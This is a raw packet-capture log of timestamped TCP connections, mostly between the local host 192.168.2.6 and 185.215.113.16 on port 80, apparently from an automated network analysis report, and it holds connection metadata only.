Nov 18, 2024 05:57:55.902632952 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902647972 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902647972 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902651072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902669907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902688980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902709961 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902729988 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902745962 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902764082 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902784109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902789116 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902789116 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902789116 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902805090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902817011 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902843952 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902862072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902880907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902909994 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902928114 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902936935 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902936935 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.902945995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902966022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.902966976 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.903029919 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.903048038 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.903080940 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.903099060 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.903117895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.903151035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.903151035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.903151035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.903151035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.923432112 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.939220905 CET	443	60472	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.939310074 CET	443	60472	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.939429045 CET	443	60472	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.939429998 CET	60472	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.939507008 CET	60472	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.939694881 CET	60472	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.939694881 CET	60472	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.939733982 CET	443	60472	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.939758062 CET	443	60472	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.942078114 CET	60477	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.942162991 CET	443	60477	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.942296982 CET	60477	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.942435026 CET	60477	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:55.942468882 CET	443	60477	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:55.942781925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.942804098 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.942853928 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.942854881 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.942892075 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.942929983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.979959965 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.979979992 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.980009079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.980026960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.980046034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.980048895 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.980063915 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.980076075 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.980083942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.980102062 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:55.980107069 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:55.980140924 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.020370960 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020387888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020406008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020423889 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020457983 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.020473003 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.020519972 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020538092 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020556927 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020575047 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020579100 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.020616055 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.020708084 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020726919 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020745039 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020764112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020782948 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020785093 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.020807981 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.020867109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020886898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020904064 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.020925999 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.020948887 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021030903 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021047115 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021064043 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021083117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021084070 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021100998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021120071 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021137953 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021140099 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021162033 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021174908 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021199942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021218061 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021236897 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021238089 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021254063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021259069 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021272898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021287918 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021290064 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021306038 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021326065 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021341085 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021344900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021368027 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021528959 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021548033 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021565914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021580935 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021584034 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021604061 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021609068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021625996 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021636009 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021682978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021702051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021728039 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021744967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021748066 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021763086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021768093 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021783113 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021800995 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.021831036 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021850109 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021869898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021888018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.021913052 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022006035 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022022009 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022038937 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022057056 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022077084 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022188902 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022207022 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022224903 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022243023 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022245884 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022344112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022361994 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022381067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022383928 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022398949 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022406101 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022417068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022430897 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022434950 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022454023 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022474051 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022483110 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022502899 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022521973 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022538900 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022541046 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022563934 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022671938 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022691011 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022708893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022727966 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022730112 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022747040 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022753000 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022767067 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022788048 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022820950 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022850037 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022866964 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022886992 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022888899 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022905111 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022910118 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022924900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022942066 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.022943974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022964001 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.022984028 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023000002 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023005009 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023026943 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023185015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023202896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023222923 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023243904 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023247004 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023262978 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023267984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023281097 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023299932 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023305893 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023330927 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023334980 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023361921 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023380995 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023400068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023417950 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023422003 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023435116 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023444891 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023453951 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023468971 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023471117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023499012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023510933 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023518085 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023535967 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023555994 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023556948 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023575068 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023608923 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023674965 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023694038 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023714066 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023730040 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023731947 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023745060 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023752928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023771048 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023785114 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023822069 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023838997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023857117 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023874998 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023894072 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023894072 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023912907 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.023915052 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.023950100 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.024019957 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.024038076 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.024055958 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.024072886 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.024090052 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.024091005 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.024110079 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.024115086 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.024128914 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.024147034 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.024148941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.026535034 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.026560068 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.063175917 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.063196898 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.063215017 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.063347101 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.099872112 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.099916935 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.099976063 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.100017071 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.100033998 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.100052118 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.100059032 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.100099087 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.100106955 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.100140095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.100179911 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.100222111 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.100228071 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.101818085 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.139955997 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.139972925 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.139991999 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140048981 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140091896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140194893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140213013 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140238047 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140247107 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140260935 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140265942 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140285015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140302896 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140302896 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140322924 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140340090 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140357971 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140360117 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140382051 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140394926 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140400887 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140422106 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140429974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140449047 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140466928 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140466928 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140485048 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140502930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140522003 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140525103 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140542984 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140543938 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140561104 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140580893 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140595913 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140610933 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140620947 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140630007 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140647888 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140666008 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140686035 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140695095 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140706062 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140712976 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140731096 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140753984 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140759945 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140779018 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140794039 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140796900 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140826941 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140846014 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140863895 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140865088 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140882015 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140888929 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140919924 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.140929937 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140948057 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140965939 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.140985012 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141004086 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141009092 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141024113 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141026974 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141043901 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141062975 CET	60438	80	192.168.2.6	185.215.113.16
Nov 18, 2024 05:57:56.141072989 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141099930 CET	80	60438	185.215.113.16	192.168.2.6
Nov 18, 2024 05:57:56.141108990 CET	60438	80	192.168.2.6	185.215.113.16
